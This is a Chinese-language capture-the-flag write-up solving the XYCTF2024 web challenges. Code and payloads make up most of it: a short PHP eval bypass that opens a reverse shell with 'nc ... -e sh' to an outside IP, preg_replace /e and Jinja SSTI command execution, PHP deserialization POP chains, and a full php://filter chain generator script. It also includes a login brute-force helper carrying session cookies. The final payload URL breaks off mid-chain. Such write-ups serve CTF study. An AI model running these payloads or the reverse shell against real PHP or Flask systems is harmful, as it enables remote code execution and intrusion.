XYCTF2024-Web方向题解

作wp记录用,仅作知识分享

牢牢记住,逝者为大

想你了牢大

题目源码如下:

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
    if (strlen($cmd) > 13) {
        die("see you again~");
    }
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
        die("肘死你");
    }
    foreach ($_GET as $val_name => $val_val) {
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
            return "what can i say";
        }
    }
    return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

可以看到这里好多限制:

  • 长度限制小于等于13
  • 命令执行的几个函数都被过滤了
  • 对于val,也就是我们传入的值进行了限制,不能够是上面的bin|mv|cp|ls|\||f|a|l|\?|\*|\>/
  • eval前后都有脏数据

这里其实过滤倒是其次,这边要考虑的更重要的是两个方面:长度限制和脏数据

我这边的思路经历了以下的流程:

  • 数组绕过strlen

但是发现不太行,因为我们知道字符串拼接之后数组会直接变成Array:

1

所以肯定是不行的,只能够老老实实用13个字符限制做这个题

  • 执行命令

这里我先把Kobe的限制去掉了,变成:

$cmd = $_GET['cmd'];

这样先测试命令执行

可以看到eval里面前面是一个#,也就是一个注释符,它能够将后面的内容都注释掉。

所以我们就算写好了cmd也没用,只能够注释掉

但是#//是一样的,都是单行注释符,所以我们只需要换行即可,加个%0a就可以绕过前面的限制

后半段呢,我打算是用__HALT_COMPILER();直接终止编译成字符串的,乍看之下它可行,但是实际上这个函数本身就已经超过了13个字符的限制,更不要谈getshell

在这里我就卡住了一会,因为这个HALT_COMPILER我的印象比较深刻

然后我想着想着突然茅塞顿开,前面的#注释能不能能用到后面去呢?

然后我就测试了一下:

%0asystem('dir');#

当然这个#要用urlencode成%23

答案是可以的:

在这里插入图片描述

本地测试dir有结果

所以前后都确定了:

%0a + shell + %23

接下来就是在11个字符的限制下打一个shell

想起p神的最短webshell:

在这里插入图片描述

你猜怎么着,刚好11个长度

payload那就呼之欲出了

%0a`$_GET[1]`;%23&1=dir>1.txt

回到题目,还对>做出了限制

所以我这里打算打一个反弹shell,刚刚好题目是出网的:

%0a`$_GET[1]`;%23&1=nc%20106.52.94.23%202333%20-e%20sh

在这里插入图片描述

warm up

第一层就是简单的md5

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}

用下面这个链接全秒了:

反序列化-md5和sha1绕过_md5反序列化-CSDN博客

弱等不想想,直接用数组:

val1[]=1&val2[]=2

下面双md5,在上面的文章随便挑一个就行了

在这里插入图片描述

md5=0e215962017

最后这个,我们要先看看这个XYCTF_550102591

md5之后是什么东西

在这里插入图片描述

其实还是个0e开头的md5,那就简单了

利用extract将XYCTF覆盖成和XY一致的变量:

XYCTF=s878926199a&XY=s878926199a

到达第二关:

LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

preg_match,用数组绕:

在这里插入图片描述

a[]=1

下面这个preg_replace有点特别,估计是利用\e来执行命令

preg_replace('/(\S*)/ei','strtolower("\\1")', '{${phpinfo()}}');

在这里插入图片描述

抄一下:

a=/(\S*)/ei&b=system('ls')&c=1

出了:

a=/(\S*)/ei&b=system('cat /flag')&c=1

Make File

直接命令执行

echo $(shell cat /flag)

ezmd5

两张图片如下:

cryptanalysis - Are there two known strings which have the same MD5 hash value? - Cryptography Stack Exchange

在这里插入图片描述

在这里插入图片描述

ezhttp

登录框,f12找到提示藏在某个地方

其实这个时候可以dirsearch开搜

但是这边可以猜一猜,猜到了robots.txt:

1

访问这个txt

在这里插入图片描述

username: XYCTF
password: @JOILha!wuigqi123$

然后拿hackbar操一下:

在这里插入图片描述

ezpop

看到有个throw Exception就可以想到利用gc回收机制来绕过

链子终点BBB->__get

通过AAA->__toString访问BBB类的$p来进入BBB

通过CCC->destruct进入toString

链子:

CCC::__destruct() -> AAA::__toString() -> BBB::__get()

但是这里要简单的测一下中间这个:

if (isset($b['a'])) {
            unset($b['a']);
        }

弄出来是个什么东西

这里出了个套娃,简单地看一下

call_user_func($a,$b)($c)($d);

其实就是相当于用call_user_func调用函数A,通过A( c ) 调用函数 B ,然后 B ( c)调用函数B,然后B( c)调用函数B,然后B(d)实现rce

那么要怎么挑选呢?

首先可以根据$b是一个数组可以确定$a是一个获取到数组的键或者值的函数,无参rce里的几个函数可以利用得到

我这边就挑选了array_rand,不过他是随机的,但是数组长度只有1,所以array_rand就是确定的

通过array_rand能够获取到键名,而且它的键名是一个函数名,我这边选了hex2bin

利用hex2bin来调用system:

hex2bin('73797374656d');

利用system获取到flag即可,exp如下:

<?php
highlight_file(__FILE__);
error_reporting(0);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        //call_user_func($a,$b);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

$a = new AAA;
$b = new BBB;
$c = new CCC;
$c->c = $a;
$a->s = $b;
$b->c = '73797374656d';
$b->d = 'cat /flag';

$d = array(0=>$c, 1=>null);
$result = serialize($d);
$result = str_replace("i:1", "i:0", $result);
echo $result;

//POST传入:a=array_rand&hex2bin=任意

ez?make

反引号命令执行反弹shell:

在这里插入图片描述

在这里插入图片描述

可以看到源码过滤了这些

我是一个复读机

其实这个题一句话就可以带过:

弱密码爆破+requests.values.xx传参绕ssti

弱密码选了个asdqwe,用fuzzdict-master可以爆的出来(某集团常用弱口令字典)

输入框输入中文以后出的大括号才是ssti用的大括号

🤔,总之就是中文这块比较难想。还是队友帮忙测出来的

找一下os_warp_close:

#http://xyctf.top:52468/index?sentence=()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(1)%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__

import requests

url = 'http://xyctf.top:54392/index?sentence='
cookies={
    "GZCTF_Token":"CfDJ8NASxn5J2mJJj3Gt7corBUbSwDa7Z_ojKNGoBIbbzBU0hAxYZnr8o2OyMArTsjctK9kyOFL9rVJpSIyC2a932lZDu4qGq5RtSxgFdbp9N9X5NeWJTW9kTR4I0VSOKyYuh2R2AySdVleI6aDmvCPqkZxcCmKrM-Qp9qnwmz4svu_bHJNYitc72QRcrFgGHc18fwKDItYc7hjDWTPSIYbESQpXfJW5WNh_5jgrsi-HDIr6i0NjILiJyQvIGhC9xMckM5MpK8I_gy2DZizRVghTFimuONxXtgQrMsuR3vF6ZEEpwr19X0AuGRSJZ85vg2dADK6BItD3joDohRn27dwXgVAJZc2hB5H-hzlyNrjmHvMVKCrei3hXyXQyVUJUWUmtix-XSoXnt8V4QS18nOt1Y6D3VXjiRBfRSd9oxess86MonuTbNiv38YV327JNptezmUYZOYdge8R2sttB9EWuVCvq-y0H7xnOYcr6-O0a3oa0k6uOXlgAdPwjtLfJbHUQKRlsN5p--qS6-OdkhRbm33Vqyhgwx8KjHJlIfYZ3N99CLx59zXM2yofyCdSZyJsCC-JzfF39QSlzHrCQdp1OmpHSJbmIpPb5RY5bur8B0FI0ZdgyhNIldRxBbNOIa25jNidBc_982OPVERERTSsSRj-XwDtkuAwGMHN53mHmswj8GzV2zpx9cnB3WpXamuhM9Own_MKYuUZb4Ce3lrbo8ZI",
    "session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.ZgvBIA.pXr_8buAz08pydb04GAhCf2KoT4"
}

for i in range(0, 1000):
    req_url = url + f'()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)({i})%E5%95%8A%E5%95%8A&a=__class__&b=__base__&c=__subclasses__&d=__getitem__'
    res = requests.get(url=req_url, cookies=cookies)
    if "os._wrap_close" in res.text:
        print("[*]Found " + str(i))
        break
    else:
        print("[*]Testing " + str(i))

payload很简单:

?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

加两个中文就有两个大括号,ssti

admin asdqwe登录即可,ssti完了简单扒个源码

from flask import *
import urllib.parse
app = Flask(__name__) 
app.secret_key = 'lzlcnb' 
# 设置会话密钥,用于加密会话数据
@app.route('/', methods=['GET', 'POST']) 
def login(): 
    if request.method == 'POST': 
        username = request.form['username'] 
        password = request.form['password'] 
        # 进行登录验证逻辑,如验证用户名密码是否匹配等 
        # 登录验证成功 
        if username=='admin' and password=='asdqwe': 
            session['username'] = username 
            return redirect('/index') 
        return render_template('login.html') 
@app.route('/index') 
def index(): 
    if 'username' in session: 
        try: 
            # word=request.args.get('sentence') # if word=="{{}}": 
            # word=None flag=0 word = request.args.get('sentence') 
            balck_array=['[',']','_','config','url_for','system','flag','file','os','"',"'",'cat','system','eval','more','tail','less','base64','file','nc','python','exec','{','}'] 
            for i in balck_array: 
                if word!=None and i in word: word="what are you doing,little hacker" 
                break 
            if word is not None: 
                for i in range(len(word)): 
                    if ord(word[i])>128: word='{'+word[0:i]+word[i+1:]+'}' 
                    flag+=1 
            else: word="what do you want to say" 
            if flag: 
                word="我只能看懂你说的英文(>﹏<)"+word 
                if "{{}}" in word: word = word.replace("{{}}",'{ {}}') 
                html=''' 
                <!DOCTYPE html> <html> <head> <title>我是一个复读机</title> <style> body {{ font-family: Arial, sans-serif; background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */ background-size: cover; background-position: center; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; }} form {{ background-color: rgba(255, 255, 255, 0.8); padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); width: 800px; }} h2 {{ text-align: center; color: #333; }} label {{ display: block; margin-top: 10px; color: #555; }} input[type="text"], input[type="password"] {{ width: 100%; padding: 8px; margin-top: 4px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }} input[type="submit"] {{ width: 100%; padding: 8px; margin-top: 10px; background-color: #007bff; color: #fff; border: none; border-radius: 4px; cursor: pointer; }} input[type="submit"]:hover {{ background-color: #0056b3; }} </style> </head> <body> <form action="/index" method="get"> <h2>我的宝,你说什么我就说什么</h2> <label for="sentence">你想说的话</label> <input type="text" id="sentence" name="sentence" required> <input type="submit" value="tell me"> <h2>{}</h2> </form> </body> </html>
                '''.format(word) 
                return render_template_string(html) 
        except Exception as e: 
            return "出现了一点小问题" 
    else: return redirect('/') 

if __name__ == '__main__': 
    app.run(host='0.0.0.0',debug=True,port=8080)

ezSerialize

第一层:

<?php
error_reporting(0);

class Flag {
    public $token;
    public $password;

    public function __construct()
    {
        
    }

    public function login()
    {
        return $this->token === $this->password;
    }
}

$a = new Flag();
$a->password = &$a->token;

echo serialize($a);

来到/fpclosefpclosefpcloseffflllaaaggg.php(第二层)

终点类:

C::__call

链子:

C::__call <- A:: __invoke <- B::__get <- D::__toString <- E::__unserialize 

不知道为什么打不上去

绕wakeup的,版本估计是7.3了,,:

O:11:"ArrayObject":4:{i:0;i:0;i:1;O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}i:2;a:0:{}i:3;N;}

不绕的:

O:1:"E":2:{s:4:"name";s:5:"xxxxx";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

你妈的,为什么打不了

我操,原来要把name置成null:

<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

$a = new A;
$b = new B;
$c = new C;
$d = new D;
$e = new E;
$e -> name = null;
$e -> num = $d;
$d -> lao = $b;
$b -> luo = $a;
$a -> mack = $c;

echo serialize($e);

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}
//O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

第三层,链子自己看吧,主要利用到一个stdClass(),可以看一下这位师傅的博客php反序列化小记(1),没什么好说的,链子都是能看得出来的,具体原理大概是如果题目当中没有能够反序列化获取属性的对象,那么可以用stdClass类,这是一个php的内置类

<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

exp:

<?php
error_reporting(0);


// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct()
    {
        
    }
}

class XYCTFNO2
{
    public $crypto0='dev1l';
    public $adwa;

    public function __construct()
    {
        
    }

    public function XYCTF()
    {
        
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
			
            return False;
        } else {
            
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct()
    {
        
    }

    public function XY()
    {
		
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {   
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}

$xy3 = new XYCTFNO3();
$xy2 = new XYCTFNO2();
$xy1 = new XYCTFNO1();
$d = new stdClass();
$xy3 -> KickyMu = $xy2;
$xy3 -> N1ght = 'oSthing';
$xy2 -> adwa = $d;
$d-> crypto0 = 'dev1l';
$d -> T1ng = 'yuroandCMD258';

echo urlencode(serialize($xy3));

连连看到底是连连什么看

源码大概如下,记不清了:

<?php
	$p = $_GET['p'];
	$chain = "php://filter/$p/resource=/etc/passwd";
	if(file_get_contents($chain) === "XYCTF"){
        include('flag.php');
        echo $flag;
    }

原理都在_rev1ve神的博客文章上有

因为base64只能接受[A-Za-z0-9+/=],所以其他的不可见字符一旦进入到decode流程就会被忽略

所以很简单,套就是了,一直decode直至只剩下XYCTF

找到一个php_filter_chain_generator.py,挺高级的利用了,它支持任意的payload写入:

#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()

exp:

python3 php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQ

http://172.17.0.2/what's_this.php?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|